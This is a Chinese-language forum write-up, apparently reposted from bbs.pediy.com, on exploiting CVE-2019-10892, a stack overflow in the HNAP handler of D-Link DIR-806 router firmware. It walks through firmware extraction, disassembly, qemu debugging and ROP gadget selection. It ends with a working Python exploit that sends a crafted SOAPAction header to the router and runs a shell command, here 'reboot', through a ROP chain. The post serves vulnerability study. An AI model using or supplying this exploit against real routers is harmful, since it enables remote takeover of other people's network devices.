MIPS缓冲区溢出学习之CVE-2019-10892分析利用
2020-03-12 17:14:30 Author: bbs.pediy.com(查看原文) 阅读量:448 收藏

这个漏洞是dlink提供HTTP服务的cgibin组件中的hnap_main函数的sprintf对字符串长度处理不当造成的缓冲区溢出。以下是分析学习过程,如果错误欢迎指正。

固件下载

固件版本为DIR-806,下载地址:

http://support.dlink.com.cn/ProductInfo.aspx?m=DIR-806

静态分析

下载完成之后,使用binwalk对固件进行分析提取。

binwalk -Me DIR806A1_FW100CNb11.bin

分析./etc/services/HTTP/httpcfg.php可以看出,当请求连接为HNAP1时,程序会执行hnap程序进行解析。

    if ($hnap > 0)
    {
        echo
        "        Control".                            "\n".
        "        {".                                    "\n".
        "            Alias /HNAP1".                    "\n".
        "            Location /htdocs/HNAP1".        "\n".
        "            External".                        "\n".
        "            {".                                "\n".
        "                /usr/sbin/hnap { hnap }".    "\n".
        "            }".                                "\n".
        "            IndexNames { index.hnap }".        "\n".
        "        }".                                    "\n";
    }

查看usr/sbin/hnap正是/htdocs/cgibin的软连接。

➜  squashfs-root ls -la  usr/sbin/hnap
lrwxrwxrwx 1 root root 14 Jan  9 20:57 usr/sbin/hnap -> /htdocs/cgibin

分析/htdocs/cgibin的main函数可知,当接收到hnap类型的请求时,程序会执行hnap_main

继续分析hnap_main,可以看到hnap_main中的sprintf处,程序并没有验证$4寄存器的长度,造成漏洞。所以我们可以将传入的数据覆盖掉寄存器$s0-$s7、$ra

.text:00412430  # ---------------------------------------------------------------------------
.text:00412430
.text:00412430 loc_412430:                              # CODE XREF: hnap_main+4C4↑j
.text:00412430                 lui     $a1, 0x42
.text:00412434                 move    $a0, $s4         # s
.text:00412438                 addiu   $a2, (aVarRun_0 - 0x420000)  # "/var/run/"
.text:0041243C                 la      $a1, aShSSShDevConso_0  # "sh %s%s.sh > /dev/console &"
.text:00412440
.text:00412440 loc_412440:                              # CODE XREF: hnap_main+4D8↑j
.text:00412440                 jalr    $t9 ; sprintf

有函数开头可知 栈空间为0x248字节大小。

hnap_main                                       XREF[3]:     Entry Point(*), main:00402fac(j), 
                                                                                          00433b14(*)  
        00411f50 27 bd fd b8     addiu      sp,sp,-0x248
             assume gp = <UNKNOWN>
        00411f54 af bf 02 44     sw         ra,local_4(sp)
        00411f58 af b7 02 40     sw         s7,local_8(sp)
        00411f5c af b6 02 3c     sw         s6,local_c(sp)
        00411f60 af b5 02 38     sw         s5,local_10(sp)
        00411f64 af b4 02 34     sw         s4,local_14(sp)
        00411f68 af b3 02 30     sw         s3,local_18(sp)
        00411f6c af b2 02 2c     sw         s2,local_1c(sp)
        00411f70 af b1 02 28     sw         s1,local_20(sp)
        00411f74 af b0 02 24     sw         s0,local_24(sp)
        00411f78 3c 1c 00 44     lui        gp,0x44

程序返回时:

   0x4124c4 <hnap_main+1396>    lw     $ra, 0x244($sp)
   0x4124c8 <hnap_main+1400>    lw     $s7, 0x240($sp)
   0x4124cc <hnap_main+1404>    lw     $s6, 0x23c($sp)
   0x4124d0 <hnap_main+1408>    lw     $s5, 0x238($sp)
   0x4124d4 <hnap_main+1412>    lw     $s4, 0x234($sp)
   0x4124d8 <hnap_main+1416>    lw     $s3, 0x230($sp)
   0x4124dc <hnap_main+1420>    lw     $s2, 0x22c($sp)
   0x4124e0 <hnap_main+1424>    lw     $s1, 0x228($sp)
   0x4124e4 <hnap_main+1428>    lw     $s0, 0x224($sp)
   0x4124e8 <hnap_main+1432>    jr     $ra

所以我们可以覆盖$sp+0x244的位置,构造ROP。

动态调试

这里使用qemu的用户模式对其进行调试分析。为了编写和操作方便。把命令写到sh脚本中
注意,cgibin程序的hnap_main函数会获取一些变量值进行判断才能到达sprintf处。如下图

主要的环境变量有REQUEST_METHOD、REQUEST_URI等等,因此调试时需要设置些环境变量,绕过判断。

#!/bin/bash

echo "testtest"  | chroot .  ./qemu-mips  -0 "hnap" -E CONTENT_LENGTH=8 -E CONTENT_TYPE="application/x-www-form-urlencoded"  -E REQUEST_METHOD="POST"  -E REQUEST_URI="/HNAP1/" -E REMOTE_ADDR="127.0.0.1" -g 1238 -E HTTP_SOAPACTION="<http://purenetworks.com/HNAP1/GetDeviceSettings/aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac>" ./htdocs/cgibin

使用gdb-multiarch -q ./htdocs/cgibin启动gdb
之后attach上本地的1238端口即可开始调试。

当执行完最后一个sprintf时。此时栈空间已经全部被填满:

此时执行完sprintf(即我们可控制)的地址是0x76fff298$sp+0x244的地址是0x76fff4bc,之间相差548个字节。

如何构造ROP链?

使用ropper在libc中找到些合适的ROP,准备构造:

0x000384d0: move $a0, $s4; move $t9, $s2; jalr $t9; nop;

栈中被sprintf填充的数据过多,通过计算,存在溢出点的地址应为195+6*4字节处。

如何确定libc基地址?

libc的基地址可以通过启动cgibin的pid,在/proc/PID/maps中查看:(我这里是使用了qume模拟了固件

root@debian-mips:~# cat /proc/1033/maps 
00400000-00415000 r-xp 00000000 08:01 449778     /root/httpd
00424000-00425000 rw-p 00014000 08:01 449778     /root/httpd
00425000-0069b000 rwxp 00000000 00:00 0          [heap]
2aaa8000-2aaad000 r-xp 00000000 08:01 1347726    /lib/ld-uClibc.so.0
2aaad000-2aaae000 rw-p 00000000 00:00 0 
2aabc000-2aabd000 r--p 00004000 08:01 1347726    /lib/ld-uClibc.so.0
2aabd000-2aabe000 rw-p 00005000 08:01 1347726    /lib/ld-uClibc.so.0
2aabe000-2aac1000 r-xp 00000000 08:01 1347727    /lib/libcrypt.so.0
2aac1000-2aad0000 ---p 00000000 00:00 0 
2aad0000-2aad1000 rw-p 00002000 08:01 1347727    /lib/libcrypt.so.0
2aad1000-2aae2000 rw-p 00000000 00:00 0 
2aae2000-2ab42000 r-xp 00000000 08:01 1347730    /lib/libc.so.0     <---
2ab42000-2ab51000 ---p 00000000 00:00 0 
2ab51000-2ab52000 r--p 0005f000 08:01 1347730    /lib/libc.so.0
2ab52000-2ab53000 rw-p 00060000 08:01 1347730    /lib/libc.so.0
2ab53000-2ab58000 rw-p 00000000 00:00 0 
2ab58000-2ab6a000 r-xp 00000000 08:01 1346441    /lib/libgcc_s.so.1
2ab6a000-2ab7a000 ---p 00000000 00:00 0 
2ab7a000-2ab7b000 rw-p 00012000 08:01 1346441    /lib/libgcc_s.so.1
7f84c000-7f861000 rwxp 00000000 00:00 0          [stack]

最终exp如下:

from pwn import *
import requests
import sys
def get_payload():
  cmd="`reboot`".ljust(30,"a")
  libc_addr=0x2aae2000
  payload="<http://purenetworks.com/HNAP1/GetDeviceSettings/>"     
  payload+="a"*195
  payload+="aaaa"*2
  payload+=p32(libc_addr+0x52510,endian="big")#s2
  payload+="aaaa"*3
  payload+=p32(libc_addr+0x384d0,endian="big")#s6
  payload+="aaaa"
  payload+=p32(libc_addr+0x0F5B4,endian="big")#ra
  payload+="aaaa"*4
  payload+=cmd
  return payload
data="ttt"

if __name__=="__main__":
    fake_cmd=get_payload()
    header = {
        'SOAPAction' : fake_cmd,
        'Cookie'        : "uid=UUzkPysdIW",
        'Content-Type'  : 'text/xml',
        'Content-Length': str(len(data))
        }
    url="<http://192.168.0.1/HNAP1/>"
    r=requests.post(url=url,headers=header,data=data)
    log.info("Success")

Ref

https://github.com/Kirin-say/Vulnerabilities/blob/master/DIR-806_Stack_Overflow_to_Run_Shellcode.md

2020安全开发者峰会(2020 SDC)议题征集 中国.北京 7月!


文章来源: https://bbs.pediy.com/thread-258023.htm
如有侵权请联系:admin#unsafe.sh